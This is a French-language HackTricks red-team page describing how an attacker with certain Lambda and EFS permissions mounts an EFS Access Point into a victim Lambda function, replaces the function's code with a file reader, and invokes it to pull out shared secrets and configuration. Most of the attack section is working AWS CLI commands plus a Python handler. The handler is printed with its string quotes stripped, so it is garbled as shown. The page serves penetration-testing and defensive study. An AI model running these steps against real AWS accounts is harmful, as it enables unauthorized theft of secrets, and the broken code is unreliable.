AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Exploiter lambda:UpdateFunctionConfiguration pour attacher un EFS Access Point existant à une fonction Lambda, puis déployer un code trivial qui liste/ lit les fichiers depuis le chemin monté pour exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant.

Prérequis

  • Permissions sur le compte/principal de la victime :
  • lambda:GetFunctionConfiguration
  • lambda:ListFunctions (pour trouver des fonctions)
  • lambda:UpdateFunctionConfiguration
  • lambda:UpdateFunctionCode
  • lambda:InvokeFunction
  • efs:DescribeMountTargets (pour confirmer que des mount targets existent)
  • Hypothèses d'environnement :
  • La Lambda cible est VPC-enabled et ses subnets/SGs peuvent atteindre l'EFS mount target SG sur TCP/2049 (p.ex. le rôle a AWSLambdaVPCAccessExecutionRole et le routage VPC le permet).
  • L'EFS Access Point est dans le même VPC et a des mount targets dans les AZs des subnets Lambda.

Attaque

  • Variables
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
  1. Attacher l'EFS Access Point à la fonction Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Écraser le code avec un lecteur simple qui liste les fichiers et lit les 200 premiers octets d'un fichier secret/config candidat.
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Invoquer et récupérer les données
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

La sortie doit contenir la liste du répertoire sous /mnt/ht et un petit aperçu d'un fichier secret/config choisi depuis EFS.

Impact

Un attaquant disposant des permissions listées peut monter arbitrairement des EFS Access Points in-VPC dans des Lambda functions victimes pour lire et exfiltrer la configuration partagée et les secrets stockés sur EFS, auparavant inaccessibles à cette fonction.

Cleanup

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks